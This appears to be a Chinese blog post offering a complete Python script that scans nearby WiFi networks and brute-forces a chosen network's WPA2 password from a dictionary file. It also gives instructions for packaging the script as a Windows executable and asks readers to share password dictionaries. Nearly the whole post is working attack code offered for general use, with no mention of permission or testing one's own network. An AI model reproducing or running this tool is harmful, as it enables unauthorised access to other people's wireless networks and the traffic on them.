python爆破WIFI脚本并生成exe工具
工具生成方法教给大家,但需手动添加WiFi爆破字典及路径,csdn一搜一大堆,得花钱下载,我也没有,兄弟萌有的可以分享一下
import pywifi
import time
from pywifi import const
def wifi_scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_list
def wifi_password_crack(wifi_name):
wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
with open(wifi_dic_path, 'r') as f:
for pwd in f:
pwd = pwd.strip('\n')
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.disconnect()
while interface.status() == 4:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if interface.status() == 4:
print(f'\r连接成功!密码为:{pwd}')
exit(0)
else:
print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
def main():
exit_flag = 0
target_num = -1
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
wifi_list = wifi_scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('请选择你要尝试破解的wifi:'))
if target_num in range(len(wifi_list)):
while not choose_exit_flag:
try:
choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
else:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
except ValueError:
print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
if choose_exit_flag == 1:
break
else:
print('请重新输入哦(*^▽^*)')
except ValueError:
print('只能输入数字哦o(* ̄︶ ̄*)o')
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
需导入pywifi模块 需手动安装comtypes 确认已安装pip 使用命令python -m pip install comtypes 生成exe文件 使用pyinstaller将python文件打包成exe程序 win+r命令行输入安装指令:pip install pyinstaller 切换到打包程序目录,打包文件,pyinstaller -F xxx.py(xxx.py,打包的文件)
到打包文件目录查看打包好的程序,并执行 打包成功后项目中新增dist文件 进入dist文件,点击运行打包好的exe程序 工具生成
|